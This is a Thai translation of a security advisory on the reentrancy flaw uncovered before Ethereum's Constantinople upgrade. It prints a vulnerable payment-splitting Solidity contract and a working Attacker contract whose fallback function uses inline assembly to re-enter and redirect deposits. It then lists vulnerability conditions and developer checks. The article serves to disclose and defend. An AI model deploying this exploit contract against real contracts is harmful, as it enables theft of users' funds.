BTC
ETH
HTX
SOL
BNB
ดูตลาด
简中
繁中
English
日本語
한국어
ภาษาไทย
Tiếng Việt

รายละเอียดช่องโหว่ของการอัปเกรด Ethereum Network Constantinople

猎豹区块链安全
特邀专栏作者
2019-01-16 08:54
บทความนี้มีประมาณ 2972 คำ การอ่านทั้งหมดใช้เวลาประมาณ 5 นาที
ในวันก่อนการอัปเกรดเครือข่าย Ethereum จู่ๆ ช่องโหว่ "reentrant" ก็แตกออก ทำให้การอัปเกรดล่าช้า บทค
สรุปโดย AI
ขยาย
ในวันก่อนการอัปเกรดเครือข่าย Ethereum จู่ๆ ช่องโหว่ "reentrant" ก็แตกออก ทำให้การอัปเกรดล่าช้า บทค

ชื่อระดับแรก
 

เกิดอะไรขึ้นกับรหัสนี้

ด้านล่างนี้เป็นสัญญาอัจฉริยะสั้นๆ ที่ไม่เสี่ยงต่อการถูกโจมตีซ้ำก่อนกรุงคอนสแตนติโนเปิล แต่เกิดขึ้นหลังจากนั้น คุณสามารถค้นหาซอร์สโค้ดแบบเต็ม รวมถึงสัญญาของผู้โจมตีได้ที่ Github ของเรา

pragma solidity ^0.5.0;

contract PaymentSharer {
 mapping(uint => uint) splits;
 mapping(uint => uint) deposits;
 mapping(uint => address payable) first;
 mapping(uint => address payable) second;

 function init(uint id, address payable _first, address payable _second) public {
   require(first[id] == address(0) && second[id] == address(0));
   require(first[id] == address(0) && second[id] == address(0));
   first[id] = _first;
   second[id] = _second;
 }

 function deposit(uint id) public payable {
   deposits[id] += msg.value;
 }

 function updateSplit(uint id, uint split) public {
   require(split <= 100);
   splits[id] = split;
 }

 function splitFunds(uint id) public {
   // Here would be: 
   // Signatures that both parties agree with this split

   // Split
   address payable a = first[id];
   address payable b = second[id];
   uint depo = deposits[id];
   deposits[id] = 0;

   a.transfer(depo * splits[id] / 100);
   b.transfer(depo * (100 - splits[id]) / 100);
 }
}

<ตัวอย่างรหัสช่องโหว่ใหม่>


โค้ดถูกโจมตีด้วยวิธีที่ไม่คาดคิด: จำลองบริการแยกที่ปลอดภัย ทั้งสองฝ่ายสามารถร่วมกันรับเงิน ตัดสินใจว่าจะแบ่งเงินอย่างไร และรับการชำระเงิน ผู้โจมตีสามารถสร้างที่อยู่คู่หนึ่งโดยที่อยู่แรกคือสัญญาของผู้โจมตีตามรายการด้านล่าง และที่อยู่ที่สองคือบัญชีของผู้โจมตี ผู้โจมตีจะเติมเงินบางส่วน


pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
 address private victim;
 address payable owner;

 constructor() public {
   owner = msg.sender;
 }

 function attack(address a) external {
   victim = a;
   PaymentSharer x = PaymentSharer(a);
   x.updateSplit(0, 100);
   x.splitFunds(0);
 }

 function () payable external {
   address x = victim;
   assembly{
       mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
       pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
   }    
 }

 function drain() external {
   owner.transfer(address(this).balance);
 }
}
<สัญญาของผู้โจมตีแสดงเป็นที่อยู่แรก>


ผู้โจมตีจะเรียกใช้ฟังก์ชันการโจมตีของสัญญาของตนเองเพื่อเปิดเผยเหตุการณ์ต่อไปนี้ในการทำธุรกรรม:
1. ผู้โจมตีใช้ updateSplit เพื่อตั้งค่าการแยกปัจจุบันเพื่อให้แน่ใจว่าการอัปเกรดที่ตามมามีราคาถูก นี่คือผลของการยกระดับกรุงคอนสแตนติโนเปิล ผู้โจมตีตั้งค่าการแบ่งในลักษณะที่ที่อยู่แรก (ที่อยู่สัญญา) ได้รับเงินทั้งหมด
2. สัญญาของผู้โจมตีเรียกฟังก์ชัน splitFunds ซึ่งจะทำการตรวจสอบ* และใช้การโอนเพื่อส่งเงินฝากทั้งหมดของคู่ที่อยู่ไปยังสัญญา
3. จากฟังก์ชันการโทรกลับ ผู้โจมตีจะอัปเดตการแยกอีกครั้ง โดยคราวนี้จะจัดสรรเงินทั้งหมดไปยังบัญชีที่สองของผู้โจมตี
4. การดำเนินการของ splitFunds ยังคงดำเนินต่อไป และเงินฝากทั้งหมดจะถูกโอนไปยังบัญชีของผู้โจมตีรายที่สองด้วย
ชื่อระดับแรก
 

ทำไมถึงโจมตีได้ในตอนนี้?

ก่อนกรุงคอนสแตนติโนเปิล การจัดเก็บแต่ละครั้งต้องใช้ก๊าซอย่างน้อย 5,000 ไกลเกิน2300ค่าน้ำมันส่งเมื่อใช้โอนหรือส่งโทรสัญญา.

หลังจากกรุงคอนสแตนติโนเปิล การดำเนินการจัดเก็บที่เปลี่ยนช่องจัดเก็บ "สกปรก" ต้องใช้ก๊าซเพียง 200 ในการทำให้ช่องจัดเก็บสกปรก จะต้องเปลี่ยนช่องระหว่างการทำธุรกรรมที่กำลังดำเนินอยู่ ดังที่แสดงไว้ข้างต้น โดยปกติแล้วสามารถทำได้โดยสัญญาของผู้โจมตีที่เรียกใช้ฟังก์ชันสาธารณะบางอย่างที่เปลี่ยนแปลงตัวแปรที่ต้องการ จากนั้นโดยการทำสัญญาที่มีช่องโหว่ให้เรียกสัญญาของผู้โจมตี เช่น การใช้ msg.sender.transfer(...) สัญญาของผู้โจมตีจะสามารถจัดการตัวแปรของสัญญาที่มีช่องโหว่ได้สำเร็จโดยใช้ค่าธรรมเนียมน้ำมัน 2300


ต้องปฏิบัติตามข้อกำหนดเบื้องต้นบางประการเพื่อให้สัญญามีช่องโหว่:
1. ต้องมีฟังก์ชัน A หลังจากการถ่ายโอน/ส่งในฟังก์ชัน ตามด้วยการดำเนินการเปลี่ยนสถานะ บางครั้งสิ่งนี้อาจไม่ชัดเจน เช่น การถ่ายโอนครั้งที่สองหรือการโต้ตอบกับสัญญาอัจฉริยะอื่น
2. ผู้โจมตีต้องเข้าถึงฟังก์ชัน B ที่สามารถ (ก) เปลี่ยนสถานะ และ (ข) สถานะที่เปลี่ยนขัดแย้งกับสถานะของฟังก์ชัน A
3. ฟังก์ชัน B ต้องดำเนินการโดยใช้ก๊าซน้อยกว่า 1600 (ค่าธรรมเนียมก๊าซ 2300 - ก๊าซ 700 สำหรับการโทร)

สัญญาของฉันมีช่องโหว่หรือไม่?


เพื่อทดสอบว่าคุณมีความเสี่ยงหรือไม่:
(a) ตรวจสอบว่ามีการดำเนินการใด ๆ หลังจากเหตุการณ์การโอนหรือไม่
(b) ตรวจสอบว่าการดำเนินการเหล่านี้เปลี่ยนสถานะหน่วยเก็บข้อมูลหรือไม่ โดยทั่วไปโดยการจัดสรรตัวแปรหน่วยเก็บข้อมูลบางตัว หากคุณเรียกใช้สัญญาอื่น เช่น วิธีการโอนโทเค็น* ให้ตรวจสอบว่าตัวแปรใดถูกแก้ไข ทำรายการ.
(c) ตรวจสอบว่าวิธีการอื่นใดในสัญญาที่เข้าถึงได้สำหรับผู้ที่ไม่ใช่ผู้ดูแลระบบใช้หนึ่งในตัวแปรเหล่านี้
(d) ตรวจสอบว่าวิธีการเหล่านี้ไม่เปลี่ยนแปลงสถานะที่เก็บไว้ด้วยตัวเอง
(จ) ตรวจสอบว่ามีวิธีใดที่มีก๊าซน้อยกว่า 2300 โปรดจำไว้ว่าการทำงานของ SSTORE นั้นใช้ก๊าซเพียง 200
หากสิ่งนี้เกิดขึ้น ผู้โจมตีอาจทำให้สัญญาของคุณเข้าสู่สถานะที่ไม่ดีได้ โดยรวมแล้ว นี่เป็นอีกข้อเตือนใจว่าทำไมรูปแบบการตรวจสอบผล-การโต้ตอบจึงมีความสำคัญมาก

 

ฉันต้องทำอะไรบ้างในฐานะผู้ดำเนินการโหนดหรือนักขุด

ดาวน์โหลดไคลเอ็นต์ Ethereum เวอร์ชันล่าสุด:

ลูกค้า geth ล่าสุด (v1.8.20)

ไคลเอนต์ Parity ล่าสุด (v2.1.11-stable)

ลูกค้า Harmony ล่าสุด (v2.3 Build 72)

ลูกค้า Pantheon ล่าสุด (v0.8.3)

ลูกค้า Trinity ล่าสุด (v0.1.0-alpha.20)

Ethereum Wallet/Mist เวอร์ชันล่าสุด (v0.11.1)

 

| ผู้เขียน: ChainSecurity

| คำแปล: Cheetah Blockchain Security Team


ยินดีต้อนรับเข้าร่วมชุมชนทางการของ Odaily
กลุ่มสมาชิก
https://t.me/Odaily_News
กลุ่มสนทนา
https://t.me/Odaily_CryptoPunk
บัญชีทางการ
https://twitter.com/OdailyChina
กลุ่มสนทนา
https://t.me/Odaily_CryptoPunk
ค้นหา
สารบัญบทความ
空头猎人
คลังบทความของผู้เขียน
猎豹区块链安全
ดาวน์โหลดแอพ Odaily พลาเน็ตเดลี่
ให้คนบางกลุ่มเข้าใจ Web3.0 ก่อน
IOS
Android